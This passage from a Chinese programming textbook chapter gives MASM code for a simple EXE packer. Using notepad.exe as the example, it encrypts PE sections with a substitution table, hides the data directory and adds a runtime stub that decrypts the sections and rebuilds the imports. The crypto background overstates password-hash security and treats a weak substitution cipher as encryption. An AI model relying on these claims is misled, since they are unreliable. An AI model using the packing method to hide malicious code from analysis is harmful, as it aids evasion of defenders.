如图所示，由于加密以后的数据目录表被清零，通过结构分析工具（如PEInfo）查看目标PE文件时，数据目录表中注册的数据类型都不会显示，原始数据目录表会被补丁工具转移到补丁代码中。除数据目录表、SizeOfImage、最后一节的SizeOfRawData、函数入口地址AddressOfEntryPoint外，目标PE文件的头部数据基本保持不变。目标PE文件的节区数据全部被加密保存，但节区数据的长度不变，补丁代码被选择附加到目标PE文件的最后一节中。"},
    {"text": "21.2 加密算法 21.2 加密算法 加密算法是EXE加密的核心。本节首先介绍了常用的两类加密算法，然后介绍了自行设计的可逆加密算法，并给出了加密代码。 21.2.1 加密算法的分类 按照加密后的信息是否可以被还原，常用的加密算法分为两大类： 不可逆加密算法 可逆加密算法 下面分别来介绍。 1.不可逆加密算法 不可逆加密算法的特征是，加密过程中不需要使用密钥，输入明文后由系统直接经过加密算法处理成密文。这种加密后的数据是无法被解密的，只有重新输入明文，并再次经过同样不可逆的加密算法处理，得到相同的加密密文并被系统重新识别后，才能真正解密。 为了避免有人通过可逆算法得到加密前的信息，在用户权限认证的系统中，通常会使用一张不可逆加密的表，表中存放着经过加密以后的用户密码。这个密码是任何人也破解不了的，除非被他有幸猜中，虽然不能还原最初的密码，但可以通过对用户密码的再一次加密实现用户密码的验证。 举个最简单的例子：假设用户最初输入的密码是“123456”，使用的不可逆加密算法是将每一位当成一个数字，然后与3相除，取余数作为每一位加密后的结果，最终用户密码被加密成“120120”。很显然，你无法正确地还原回去，因为许多原始密码经过这种加密算法得到的值都是“120120”，如原始密码为“789123”、“456123”等。但是，这种加密算法却可以用在对用户的验证上，即用户只要输入“123456”，其加密以后的值一定是表中存储的值。 很明显，在这类加密过程中，加密是自己，解密还得是自己；而所谓解密，实际上就是重新加一次密，所应用的“密码”也就是输入的明文。 不可逆加密算法不存在密钥保管和分发问题，非常适合在分布式网络系统上使用，但因加密计算复杂，工作量相当繁重，通常只在数据量有限的情形下使用，例如，广泛应用在计算机系统中的口令加密，利用的就是不可逆加密算法。 近年来，随着计算机系统性能的不断提高，不可逆加密的应用领域正在逐渐增大。在计算机网络中应用较多不可逆加密算法的有许多，例如RSA公司发明的MD5算法，以及由美国国家标准局建议的不可逆加密标准SHS（Secure Hash Standard，安全散列信息标准）等。 2.可逆加密算法 可逆加密算法又分为两大类：“对称式”和“非对称式”。 对称式加密 加密和解密使用同一个密钥，通常称之为\"Session Key\"。这种加密技术目前被广泛采用，如美国政府所采用的DES加密标准就是一种典型的“对称式”加密法，它的Session Key长度为56Bits。 非对称式加密 加密和解密所使用的不是同一个密钥，而是两个密钥：一个称为“公钥”，另一个称为“私钥”；它们两个必须配对使用，否则不能打开加密文件。这里的“公钥”是指可以对外公布的，“私钥”则只能由持有人本人知道。它的优越性就在这里，因为如果是在网络上传输加密文件，对称式的加密方法就很难把密钥告诉对方，不管用什么方法都有可能被别人窃听到。而非对称式的加密方法有两个密钥，且其中的“公钥”是可以公开的，不怕别人知道，收件人解密时只要用自己的私钥即可以，这样就很好地避免了密钥的传输安全性问题。 最典型的可逆加密算法是异或运算。大家都知道，对一个值连续异或两次，其结果还是原值；于是，第一次异或被看成是加密，第二次异或被看成是解密。 对EXE进行加密必须使用一些可逆的加密算法，即不仅能加密数据，还要能还原数据。下面我们就自行开发一种简单的可逆加密算法。 21.2.2 自定义可逆加密算法实例 21.2.2 自定义可逆加密算法实例 本节自行定义了一种可逆的加密算法，基本思路是： 首先，构造一个256字节的加密用基表，该基表中的每一项的值都不重复，这就意味着该基表中拥有了00h～0ffh所有的字节值。有了这个基表以后，再对PE中的每一个字节进行加密。加密方法非常简单，将要加密的字节当做是基表的索引，查找索引处的字节值，该值即为加密后的值。加密算法示意见图21-2。 图 21-2 字节加密算法流程 如图所示，加密基表共有256项，其中存储着256个不同的值，并且这些值不是按顺序排列的。例如，待加密的字节为50h，将这个值当成是基表的索引，查找该表50h处的字节是98h，找到的这个值即为加密以后的值。 解密的过程刚好相反，根据要解密的字节98h遍历基表，如果找到与之相等的值，则记录此处的索引值，该索引值50h即为解密后的字节。 特别注意 基表的最后一个字节固定为00h。这个值的设置与基表的构造方式有关，详见下一节。"},
    {"text": "21.2.3 构造加密基表 21.2.3 构造加密基表 基表的组成包括255个随机数（均不重复）和最后一个00h字节。其中随机数的构造方法如下： ;生成加密基表 mov @dwCount,0 mov edi,offset EncryptionTable .while TRUE invoke _getAByte mov byte ptr [edi],al inc edi inc @dwCount .break.if @dwCount == 0ffh .endw 开始时，加密基表所有表项值均被初始化为00h，函数_getAByte得到一个与当前表项中已存在的所有值均不重复的字节，并将其添加到表项。以下是函数_getAByte的定义： _getAByte proc local @ret pushad loc1: ;取随机数 invoke _getRandom,1,255 mov @ret,eax ;判断随机数是否在基表中 invoke _isExists,eax .if eax ;如果在，则重新获取随机数 jmp loc1 .endif popad mov eax,@ret ;如果不在基表，则返回 ret _getAByte endp 函数_getAByte首先取一个1～255之间的数（注意，这里舍弃了0，因为0被设置为基表索引255处，这样做主要是为了方便函数_isExists的运行）。取指定范围随机数的方法如下： _getRandom proc _dwMin:dword,_dwMax:dword local @dwRet:dword pushad ;取得随机数种子，当然，可用别的方法代替 invoke GetTickCount mov ecx,19 ;X=ecx=19 mul ecx ;eax=eax*X add eax,37 ;eax=eax+Y（Y=37） mov ecx,_dwMax ;ecx=上限 sub ecx,_dwMin ;ecx=上限-下限 inc ecx ;Z=ecx+1（得到了范围） xor edx,edx ;edx=0 div ecx ;eax=eax mod Z（余数在edx里面） add edx,_dwMin mov @dwRet,edx popad mov eax,@dwRet ;eax=Rand _Number ret _getRandom endp 获取随机数的基本算法为： 随机数=下限+（随机数*19+37）mod（上限-下限+1） 随机数（1～255之间）获取以后，首先通过函数_isExists判断该值是否在基表中已经存在。以下是函数_isExists的详细代码： _isExists proc _byte local @ret pushad mov esi,offset EncryptionTable mov ecx,0 .while TRUE mov al,byte ptr [esi] .if al == 0 mov @ret,FALSE .break .endif mov ebx,_byte .if al == bl mov @ret,TRUE .break .endif inc esi inc ecx .if ecx == 0ffh mov @ret,FALSE .break .endif .endw popad mov eax,@ret ret _isExists endp 函数_isExists将循环检测基表，结束条件有两个：一是当函数在基表中找到了相同的值，则返回TRUE；另一个条件是函数已经完全遍历完基表，未发现相同的值，返回FALSE，如果在基表中碰到00h，则表示已经到了基表末尾，返回FALSE。这里解释了上一节最后提出的问题，即为什么要在基表的最后一个位置存放固定的字节00h。 通过以上方法，由计算机自动完成填充一个基表，以下字节码是代码chapter21\\HelloWorld.exe运行期获取的一个基表内容。可以看到，基表中任何一项的值都是介于00h～0FFh的，每个值都不相等，且基表的最后一个字节是00h。 构造加密基表的完整代码可以从随书文件chapter21\\HelloWorld.asm中获得。 21.2.4 利用基表测试加密数据 21.2.4 利用基表测试加密数据 接下来，我们就用上节生成的基表进行数据加密的测试。首先，在数据段中定义两部分数据，一部分为加密前的数据szSrc，另一部分为加密后的数据szDst。为了测试，只定义了8个字节，加密前的数据随便取一些值，加密后的数据全部初始化为00h。加密数据的代码见代码清单21-1。 代码清单21-1 加密数据的函数_encrptIt（chapter21\\HelloWorld.asm） 138 ;------------------------------- 139 ;加密算法，可逆算法，字节数不变 140 ;入口参数： 141 ;_src:要加密的字节码起始地址 142 ;_dst:生成加密后的字节码起始地址 143 ;_size:要加密的字节码的数量 144 ;------------------------------- 145 _encrptIt proc _src,_dst,_size 146 local @ret 147 148 pushad 149 ;开始按照基表对字节进行加密 150 mov esi,_src 151 mov edi,_dst 152 .while TRUE 153 mov al,byte ptr [esi] 154 xor ebx,ebx ;将获取的值变成索引存储到ebx中 155 mov bl,al 156 mov al,byte ptr EncryptionTable [ebx] ;按索引值从基表里取出加密后的值 157 mov byte ptr [edi],al 158 159 inc esi 160 inc edi 161 dec _size 162 .break.if _size == 0 163 .endw 164 popad 165 ret 166 _encrptIt endp 开始加密前，esi指向要加密的数据，edi指向存储加密结果的缓冲区，行152～163是一个循环，循环次数为要加密数据的字节个数。行153～155将获取的值当成一个索引存储在ebx寄存器中；行156～157按照该索引值从基表中取出加密后的值，存储到结果缓冲区。 以下是运行函数后的数据加密结果： 从列出的字节码可以看出加密前后数据的对应关系，请对比以下所列自行查看基表，看这些值是否真正符合我们的加密算法。"},
    {"text": "21.3 开发补丁工具 21.3 开发补丁工具 补丁工具主要完成的操作包括： 处理目标PE文件的数据目录表，向补丁代码传递原始数据目录表。 生成加密基表，向补丁代码传递加密基表及其他要传递给补丁代码的参数。 加密节区数据。 将补丁代码附加到目标PE文件的最后一节。 本节相关文件在随书文件的目录chapter21\\b中，下面分别介绍。 21.3.1 转移数据目录 由于导入表的数据全部存储在节区，而补丁工具会对这些数据进行加密处理，破坏原有的导入表结构，造成PE加载器加载目标PE文件失败，因此，必须事先将目标程序的数据目录表的导入表项设置为0，即告诉加载器：凡是目标PE中涉及的所有动态链接库不需要操作系统加载器来处理。不仅导入表的数据这样处理，数据目录表中的其他数据也需要这样处理。 修改数据目录表的方法是将所有项的RVA均设置为0。下面来看一个例子，通过第17章介绍的方法，将一个最简单的HelloWorld补丁打到记事本程序中，打补丁的过程输出如下信息： 补丁程序：D:\\masm32\\source\\chapter21\\patch.exe 目标PE程序：C:\\notepad.exe 补丁代码段大小：00000196 PE文件大小：00010400 对齐以后的大小：00010400 目标文件最后一节在文件中的起始偏移：00008400 目标文件最后一节对齐后的大小：00008200 新文件大小：00010600 补丁代码中的E9指令后的操作数修正为：ffff4208 最终生成的补丁程序为chapter21\\patch _notepad.exe，由于对原始notepad.exe程序的节数据没有进行加密处理，所以，使用OD加载该程序后内存空间分配情况见表21-1。 如表所示，第17行为进程的PE文件头部分，18～20行为进程的其他节所在的起始地址和结束地址。下面，将文件头部数据目录表项全部清零，重新使用OD加载程序测试内存布局，以下是清零以后的记事本的数据目录表字节码： 从字节码可以看出，记事本程序数据目录中的以下数据类别项被定义：导入表、资源表、调试信息、加载配置、绑定引入和IAT。现在把以上加黑部分全部清零，然后用OD加载，此时的内存空间分配见表21-2。 从表21-1和表21-2的对比来看，如果把数据目录中所有的内容全部清零，目标程序patch _notepad.exe自身（不含导入的其他动态链接库）加载进内存后的空间分配是一致的，如两个表的黑体部分所示。这就意味着，对数据目录表清零的操作不影响进程自身模块最终加载进内存的空间分配。 被加密的目标PE最终还是要运行的，所以，在运行前必须将数据目录表的内容恢复原样，这就要求必须首先保存目标PE文件的数据目录表的原始内容，保存的首选位置是嵌入到目标PE文件的补丁程序。代码清单21-2（该代码使用了随书文件chapter17\\bind.asm）为补丁工具中模拟清除数据目录内容及备份内容到补丁程序的代码： 代码清单21-2 补丁工具中转移目标PE文件原始数据目录表内容的函数_openFile（chapter21\\b\\bind.asm） 1264 1265 ;---------------------------到此为止，数据复制完毕 1266 1267 ;清空目标文件中的数据目录表的内容 1268 ;并把该内容填充到补丁代码处 1269 ;该部分内容在（补丁代码起始+5个字节）处，共16个目录项 1270 ;该部分操作全部在lpDstMemory中完成 1271 1272 mov esi,lpDstMemory 1273 assume esi:ptr IMAGE_DOS_HEADER 1274 add esi,[esi].e_lfanew 1275 assume esi:ptr IMAGE_NT_HEADERS 1276 1277 ;复制数据目录表内容到补丁字节码处 1278 mov eax,[esi].OptionalHeader.NumberOfRvaAndSizes 1279 sal eax,3 1280 mov ecx,eax 1281 mov dwDDSize,ecx 1282 add esi,78h 1283 mov dwDDStart,esi 1284 1285 mov edi,lpDstMemory 1286 add edi,dwNewFileAlignSize 1287 add edi,5 ;跳转指令长度，定位到补丁程序中保存数据目录表的位置 1288 rep movsb 1289 1290 ;清空目标文件数据目录表内容 1291 mov edi,dwDDStart 1292 mov ecx,dwDDSize 1293 mov al,0 1294 rep stosb 1295 如上所示，行1277～1288负责将目标PE文件的原始目录表的数据（共78h个字节）复制到补丁代码指定的位置。行1290～1294则将目标PE文件的数据目录表的内容全部置0。 实现该功能的相关测试文件请参照随书文件目录chapter21\\b。其中bind.asm是补丁工具，patch.asm为补丁程序，patch _notepad.exe是生成的打了补丁的记事本程序。使用FlexHex查看补丁后的记事本程序，会发现记事本数据目录中的所有内容均被移动到了补丁代码中。"},
    {"text": "21.3.2 传递程序参数 21.3.2 传递程序参数 要传给补丁程序的参数包括解密用的基表，以及补丁前最后一节在文件中的大小。基表用于补丁程序解密使用，补丁前最后一节在文件中的大小需要事先传递给补丁程序，因为一旦补丁被打上，该值会发生变化。向补丁程序传递参数的相关代码见代码清单21-3。 代码清单21-3 补丁工具向补丁程序传递参数（chapter21\\b\\bind.asm） 1296 ;初始化加密基表 1297 invoke _encrptAlg 1298 1299 ;将基表复制到补丁代码中 1300 mov esi,offset EncryptionTable 1301 mov edi,lpDstMemory 1302 add edi,dwNewFileAlignSize 1303 add edi,5 ;5个字节的跳转指令 1304 add edi,16*8 ;16*8个数据目录表长度 1305 mov ecx,256 1306 rep movsb 1307 ┇ 1327 1328 ;将最后一节在文件中对齐后的大小存储到补丁代码位置 1329 1330 mov edi,lpDstMemory 1331 assume edi:ptr IMAGE_DOS_HEADER 1332 add edi,[edi].e_lfanew 1333 assume edi:ptr IMAGE_NT_HEADERS 1334 ;获取节的个数 1335 movzx eax,[edi].FileHeader.NumberOfSections 1336 mov dwSections,eax 1337 add edi,sizeof IMAGE_NT_HEADERS 1338 1339 dec eax 1340 mov ecx,sizeof IMAGE_SECTION_HEADER ;定位到最后一个节 1341 mul ecx 1342 add edi,eax 1343 assume edi:ptr IMAGE_SECTION_HEADER 1344 mov ecx,[edi].SizeOfRawData 1345 1346 mov edi,lpDstMemory 1347 add edi,dwNewFileAlignSize 1348 add edi,5 ;5个字节的跳转指令 1349 add edi,16*8 ;16*8个数据目录表长度 1350 add edi,257 ;基表 1351 mov dword ptr [edi],ecx 如上所示，行1297调用函数_encrptAlg创建加密用的基表。行1299～1306将获得的基表内容复制到补丁程序的指定位置，共256个字节。行1328～1344得到目标PE文件最后一节的SizeOfRawData，行1346～1351将该参数传递给补丁程序。 补丁程序（chapter21\\b\\patch.asm）中存放加密基表和目标PE文件最后一节的SizeOfRawData两个参数定义如下： jmp start ;补丁程序起始代码，该指令占了5个字节+0000h ;保存目标程序的相关信息： dstDataDirectory dd 32 dup(0) ;原始目标程序的数据目录表+0005h EncryptionTable db 256 dup(0),0 ;加密基表+0085h dwLastSectionSize dd ? ;最后一节的尺寸（以字节计） 如上所示，补丁程序中保存的与目标PE有关的信息主要包括三个：原始数据目录表、解密用的基表和目标PE文件最后一节的尺寸。以下节选了运行期该位置显示的数据内容： 如上所示，第一个【】包含了目标程序的数据目录表，第二个【】是解密用基表内容，第三个【】是目标程序最后一节的实际字节码长度。 21.3.3 加密节区内容 21.3.3 加密节区内容 补丁工具负责对目标PE文件节区数据的加密工作。首先，计算出要加密数据的范围，从第一个节开始到文件末尾的数据，全部要进行加密。由于加密采用不变长度算法，能保证PE加载器在加载数据到内存以后所有的字节码位置保持相对不变，在进行解密以后不需要重新计算代码中与定位有关的数据，所以比较方便。对节区数据进行加密的代码见代码清单21-4。 代码清单21-4 加密节区数据（chapter21\\b\\bind.asm） 1308 ;加密节区数据 1309 ;------------------------------ 1310 ;首先，计算加密范围 1311 ;取第一个节的文件起始偏移 1312 1313 mov edi,lpDstMemory 1314 assume edi:ptr IMAGE_DOS_HEADER 1315 add edi,[edi].e_lfanew 1316 add edi,sizeof IMAGE_NT_HEADERS 1317 1318 assume edi:ptr IMAGE_SECTION_HEADER 1319 mov eax,[edi].PointerToRawData 1320 1321 mov ecx,@dwFileSize1 1322 sub ecx,eax 1323 add eax,lpDstMemory ;起始偏移 1324 mov esi,eax 1325 1326 invoke _encrptIt,esi,esi,ecx 函数_encrptIt在21.2.4节已经讲解过了，传入参数esi为第一个节在文件中的起始地址，ecx为从该位置到文件尾的长度。程序运行到此，目标文件中的指定范围的数据均被加密。 经过同一个加密算法生成的目标程序使用了相同的补丁程序，所以，使用一些PE分析工具得到的结果除了文件头部描述不相同外，其他地方的描述基本是相同的。使用PEInfo小工具分析加密以后的记事本程序结果显示如下： 从分析结果来看，这里显示的内容根本不是原始的记事本程序，用FlexHex查看字节码，也只是看到一堆乱码而已。 补丁工具还有最后一个功能，即负责将补丁代码嵌入到目标PE文件的最后一节。由于这部分功能在第17章中有详细描述，在此略过，具体代码请参照随书文件chapter21\\b\\bind.asm。"},
    {"text": "21.4 处理补丁程序 21.4 处理补丁程序 前几章讲过的补丁程序实现的功能都与目标PE无关，而这次补丁程序的代码针对的对象是目标程序本身，所以需要额外对目标程序的数据进行如下处理： 对目标PE数据目录进行还原。 对目标PE加密的节区的数据进行解密。 对目标PE导入表中的动态链接库实施动态加载。 对目标PE的IAT中的值进行修正。 以下将对这四项处理进行逐一介绍。 21.4.1 还原数据目录表 对EXE加密必须保证加密以后的PE文件可以正常运行，但补丁工具却将其数据目录表全部清零，所以在运行目标程序前补丁程序要做的第一件事情，就是依据事先保存在补丁程序中的目标PE文件的原始数据目录表信息恢复目标PE文件的数据目录表。代码清单21-5演示了还原目标PE文件数据目录表的整个过程： 代码清单21-5 还原数据目录表（chapter21\\b\\patch.asm） 447 ;获取目标进程的基地址 448 mov eax,offset dwImageBase 449 add eax,ebx 450 451 push eax 452 lea edx,_getImageBase 453 add edx,ebx 454 call edx 455 mov dwImageBase [ebx],eax 456 457 458 ;还原目标进程的数据目录表 459 mov esi,dwImageBase [ebx] 460 add esi,[esi+3ch] 461 add esi,78h 462 push esi 463 464 assume fs:nothing 465 mov eax,fs:[20h] 466 mov hProcessID [ebx],eax 467 468 469 push hProcessID [ebx] 470 push FALSE 471 push PROCESS_ALL_ACCESS 472 call _openProcess 473 mov hProcess [ebx],eax ;找到的进程句柄在hProcess中 474 475 476 477 ;设置文件头部分为可读可写可执行 478 lea edx,hOldPageValue 479 add edx,ebx 480 push edx 481 push PAGE_EXECUTE_READWRITE 482 ;获取SizeOfImage大小 483 push esi 484 mov esi,dwImageBase [ebx] 485 add esi,[esi+3ch] 486 assume esi:ptr IMAGE_NT_HEADERS 487 mov edx,[esi].OptionalHeader.SizeOfImage 488 pop esi 489 push edx ;设置页面大小 490 push dwImageBase [ebx] 491 push hProcess [ebx] 492 call _virtualProtectEx 493 494 pop esi 495 push NULL 496 push 16*8 497 mov edx,offset dstDataDirectory 498 add edx,ebx 499 push edx 500 push esi 501 push hProcess [ebx] 502 call _writeProcessMemory 大致思路是，通过OpenProcess函数传递PROCESS_ALL_ACCESS参数，打开目标进程。然后，使用WriteProcessMemory将补丁代码中保存的数据目录表项全部写回到目标进程头部数据目录表位置。代码行447～455获取目标PE的基地址，存储到变量dwImageBase中。行464～466从fs:[20h]位置处取出进程的ID号，存储到变量hProcessID中。行469～473调用OpenProcess函数打开目标进程。行477～492调用函数VirtualProtectEx将目标进程文件头部内存页设置为可读可写。行494～502调用函数WriteProcessMemory，将esi指向的数据写入变量dstDataDirectory指向的位置，即还原目标进程的数据目录表。 数据目录表被还原以后，程序还无法正常运行，因为此时数据目录表中的数据项指向的位置都是经过加密以后的数据，对正常的目标进程而言，这些数据根本无法识别。接下来要做的就是将节区对应的数据进行解密。"},
    {"text": "21.4.2 解密节区内容 21.4.2 解密节区内容 加密的EXE程序运行前，需要先将补丁工具加密的节区数据解密。由于加密使用了不变长度的算法，解密后的节区数据大小和解密前一样；所以，解密时不需要额外构造解密用的缓冲区，相对比较简单。首先来看解密函数。 1.解密函数_UnEncrptIt 解密函数的运行依赖于加密时创建的基表。解密以字节为单位进行，每个字节的解密与其他字节没有关系，解密后的数据大小与解密前大小一致。解密函数见代码清单21-6。 代码清单21-6 解密函数_UnEncrptIt（chapter21\\b\\patch.asm） 65 ;------------------------------- 66 ;解密算法，可逆算法，字节数不变 67 ;入口参数： 68 ;_src:要解密的字节码起始地址 69 ;_size:要加密的字节码的数量 70 ;------------------------------- 71 _UnEncrptIt proc _src,_size,_writeProcessMemory 72 local @ret 73 local @dwTemp 74 75 pushad 76 ;开始按照基表对字节进行加密 77 mov esi,_src 78 .while TRUE 79 mov al,byte ptr [esi] 80 mov edi,offset EncryptionTable 81 add edi,ebx 82 mov @dwTemp,0 83 .while TRUE ;查找基表，索引在@dwTemp中 84 mov cl,byte ptr [edi] 85 .break.if al == cl ;如果找到，则退出 86 inc @dwTemp 87 inc edi 88 .endw 89 90 ;用解密后的字节更新字节码 91 mov ecx,@dwTemp 92 mov byte ptr dbEncrptValue [ebx],cl 93 94 ;使用远程写入 95 push NULL 96 push 1 97 mov edx,offset dbEncrptValue 98 add edx,ebx 99 push edx 100 push esi ;? ? 101 push hProcess [ebx] 102 call _writeProcessMemory 103 104 inc esi 105 dec _size 106 .break.if _size == 0 107 .endw 108 popad 109 ret 110 _UnEncrptIt endp 解密算法其实很简单，查找加密基表，如果在基表中找到指定字节码，则记录该位置在基表中的索引，这个索引值即为解密后的字节码，然后用这个字节码替换原来位置的字节值。 2.解密过程 程序将所有节的数据均进行一遍解密，还原目标程序为原始内容，然后才启动其他诸如动态加载DLL、修正IAT等操作。代码清单21-7是解密数据的代码。 代码清单21-7 解密节区数据过程（chapter21\\b\\patch.asm） 504 ;解密数据 505 mov edi,dwImageBase [ebx] 506 assume edi:ptr IMAGE_DOS_HEADER 507 add edi,[edi].e_lfanew 508 assume edi:ptr IMAGE_NT_HEADERS 509 ;获取节的个数 510 movzx eax,[edi].FileHeader.NumberOfSections 511 mov dwSections [ebx],eax 512 add edi,sizeof IMAGE_NT_HEADERS 513 514 dec eax 515 mov ecx,sizeof IMAGE_SECTION_HEADER ;定位到最后一个节 516 mul ecx 517 add edi,eax 518 assume edi:ptr IMAGE_SECTION_HEADER 519 520 mov @first,1 521 522 .while TRUE 523 mov esi,[edi].VirtualAddress 524 add esi,dwImageBase [ebx] ;要解密的起始地址 525 526 .if @first ;如果是最后一节，补丁工具更改了此处的大小 527 ;必须使用由补丁工具传入的原始值 528 mov ecx,dwLastSectionSize [ebx] 529 mov @first,0 530 .else ;如果是其他节，则使用SizeOfRawData 531 mov ecx,[edi].SizeOfRawData 532 .endif 533 534 push _writeProcessMemory 535 push ecx 536 push esi 537 mov edx,offset _UnEncrptIt 538 add edx,ebx 539 call edx 540 541 dec dwSections [ebx] 542 sub edi,sizeof IMAGE_SECTION_HEADER 543 .break.if dwSections [ebx] == 0 544 .endw 如上所示，代码行505～518通过文件头部描述获取节的数量，并存储在变量dwSections中，然后将指针定位到最后一节。由于此时CPU的控制权尚处于补丁程序手里，所以最后一节的SizeOfRawData是被补丁工具修改以后的大小。如果用这个大小来解密数据，势必会越界，导致后面的补丁代码被修改，所以，最后一个节要解密的数据大小由补丁工具传进来的变量dwLastSectionSize决定，其他的节要解密的数据大小则直接通过每个节的SizeOfRawData来决定。 行522～544是解密目标进程所有节的一个循环。其中，变量@first如果为1，表示当前处理的是最后一节；否则，从最后一节向前处理，直到循环次数达到节的总数为止。 节区的数据解密完成，是否就可以跳转到目标进程的入口地址处运行了呢？答案是否定的。因为加密的目标PE文件在最初被操作系统加载器加载进内存时，是误认为该文件没有导入表的（导入表项被设置为0）。所以，记事本代码中用到的所有动态链接库在记事本进程地址空间中还不存在。如果补丁代码只还原完数据目录表，将加密的节区解密就直接转移到原始入口地址处运行，还不会成功；补丁代码需要继续完成对记事本导入表中登记的各模块的动态载入，以及IAT的修正后才会成功。"},
    {"text": "21.4.3 加载目标DLL 21.4.3 加载目标DLL 加密的目标PE文件被加载进内存后，其原始的导入信息丢失。加载器不会将其导入表中的动态链接库加载进进程的地址空间，这个操作必须由补丁程序代为完成。 首先，利用小工具程序PEInfo查看notepad.exe导入表中都引入了哪些动态链接库，这些链接库包括comdlg32.dll、SHELL32.dll、WINSPOOL.DRV、COMCTL32.dll、msvcrt.dll、ADVAPI32.dll、KERNEL32.dll、GDI32.dll和USER32.dll。但是，从OD加载的记事本进程地址空间中看到的链接库SECUR32.DLL、USP10.DLL、SHLWAPI.DLL、RPCRT4.DLL、LPK.DLL、IMM32.DLL并未出现在NOTEPAD.EXE的导入表定义中。这说明，这些动态链接库的导入应该是包含在其他动态链接库中的，例如： WINSPOOL.DRV→RPCRT4.DLL COMDLG32.DLL→SHLWAPI.DLL LPK.DLL→USP10.DLL 接下来，要为补丁代码增加动态加载DLL功能。通过遍历目标程序的导入表，调用LoadLibraryA函数，将导入表中列出的所有模块加载到内存中，并记录各模块的基地址。详细代码见代码清单21-8。 代码清单21-8 动态加载目标进程导入表中登记的DLL（chapter21\\patch2.asm） 278 ;获取目标进程的基地址 279 mov eax,offset dwImageBase 280 add eax,ebx 281 282 push eax 283 lea edx,_getImageBase 284 add edx,ebx 285 call edx 286 mov dwImageBase [ebx],eax 287 288 ;遍历目标进程导入表 289 mov edi,offset dstDataDirectory 290 add edi,ebx 291 add edi,8 ;定位到导入表项 292 293 mov eax,dword ptr [edi] ;获取VirtualAddress 294 ;未做判断，假设处理的PE文件均有导入表 295 add eax,dwImageBase [ebx] ;所在内存偏移 296 297 mov edi,eax ;计算引入表所在文件偏移位置 298 assume edi:ptr IMAGE_IMPORT_DESCRIPTOR 299 300 mov eax,dword ptr [edi].Name1 ;取第一个动态链接库名字字符串所在的RVA值 301 add eax,dwImageBase [ebx] ;在内存定位只需加上基地址即可 302 ;invoke _messageBox,NULL,eax,NULL,MB_OK 303 304 ;动态加载该DLL 305 invoke _loadLibrary,eax 306 mov dwModuleBase [ebx],eax 只加载一个DLL（comdlg32.dll）的示例可以调试chapter21\\bindC.exe文件。在OD环境下对比动态加载前后的内存分配，可以看到，comdlg32.dll被正确地加入到地址0x76320000起始处。以下是加载所有的动态链接库代码（chapter21\\a\\patch.asm）： ...... mov edi,eax ;计算引入表所在文件偏移位置 assume edi:ptr IMAGE_IMPORT_DESCRIPTOR .while [edi].Name1 ;循环结束条件，只需简单判断Name1是否为0即可 push edi mov eax,dword ptr [edi].Name1 ;取第一个动态链接库名字字符串所在的RVA值 add eax,dwImageBase [ebx] ;在内存定位只需加上基地址即可 ;动态加载该DLL invoke _loadLibrary,eax mov dwModuleBase [ebx],eax ;修正从该链接库引入的函数IAT项 ;----------------------------- pop edi add edi,sizeof IMAGE_IMPORT_DESCRIPTOR .endw 离最终可运行的目标越来越近了，最后一步是修正目标文件的IAT。"},
    {"text": "21.4.4 修正目标IAT 21.4.4 修正目标IAT 引入的动态链接库被动态加载到内存以后，接下来要做的就是修正目标进程中的IAT内容。从导入表中得到每个函数的名称字符串，然后，从加载的模块基地址获取该函数在内存的VA值，并填到对应的IAT位置。 下面开始IAT修复工作，具体代码见代码清单21-9。 代码清单21-9 修正目标进程IAT的_updateIAT函数（chapter21\\a\\patch.asm） 240 ;------------------ 241 ;修正IAT表 242 ;传入全局变量参数 243 ;dwModuleBase模块的地址 244 ;dwImageBase进程基地址 245 ;------------------ 246 _updateIAT proc _lpIID,_writeProcessMemory 247 local @dwCount 248 249 pushad 250 mov @dwCount,0 251 252 mov edi,_lpIID 253 assume edi:ptr IMAGE_IMPORT_DESCRIPTOR 254 255 ;获取函数名字字符串 256 mov esi,[edi].OriginalFirstThunk 257 add esi,dwImageBase [ebx] 258 .while TRUE 259 mov eax,[esi] 260 .break.if!eax 261 add eax,dwImageBase [ebx] 262 add eax,2 ;跳过hint/name中的hint 263 264 ;此时eax指向了函数字符串 265 lea edx,_getApi ;获取函数地址 266 add edx,ebx 267 push eax 268 push dwModuleBase [ebx] 269 call edx 270 ;add eax,dwImageBase [ebx] ;获取函数VA值 271 272 ;将函数地址覆盖IAT对应位置 273 push esi 274 push eax 275 mov esi,[edi].FirstThunk 276 add esi,dwImageBase [ebx] ;esi指向IAT表开始 277 278 mov eax,@dwCount ;求索引对应偏移 279 sal eax,2 280 add esi,eax 281 pop eax 282 283 284 mov dwIATValue [ebx],eax 285 ;使用远程写入 286 push NULL 287 push 4 ;写入长度 288 mov edx,offset dwIATValue 289 add edx,ebx 290 push edx ;写入的值所在缓冲区 291 push esi ;写入起始地址 292 push hProcess [ebx] 293 call _writeProcessMemory 294 295 ;mov dword ptr [esi],eax ;将函数VA值写入IAT 296 pop esi 297 298 inc @dwCount 299 add esi,4 300 .endw 301 302 popad 303 ret 304 _updateIAT endp 调用函数_updateIAT前，目标程序的数据目录表数据已经得到恢复。dwModuleBase中存放了当前动态加载的模块的基地址，dwImageBase中存放了目标进程的基地址。hProcess为打开的目标进程（为内存写作准备的）句柄。函数传入两个参数：参数1是_lpIID，该参数指向当前导入描述IMAGE_IMPORT_DESCRIPTOR结构；参数2为WriteProcessMemory的函数VA。 函数首先通过IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk找到函数名字字符串（注意，要跳过Hint/Name前的2个字节值）；然后，通过调用_getApi函数获取该函数指令字节码所在内存的地址，并将该地址保存到IAT的相关项位置。 通过以上几步，对EXE加密、解密、运行的任务就完成了。运行补丁后的chapter21\\b\\path _notepad.exe程序，先出现补丁代码中的对话框提示，然后出现记事本程序。通过PEInfo小工具查看该程序显示的信息中大部分与记事本程序无关。 21.5 小结 21.5 小结 本章以记事本为例，向大家介绍了一种加密EXE文件的思路。方法是对目标PE文件的节区进行加密；运行时由补丁代码接管控制权，实施解密，并重新组织原程序的运行。本章用到了第17章中介绍的补丁工具。 本实例的加密方法很简单，大家可以根据实际需要对加密算法进行改进，以满足一些特殊需要。注意，本章介绍的代码只适合存在导入表，且导入函数均为名称导入的目标PE程序，如果大家想让其适应更多的程序，请根据所学知识自行修改。"},
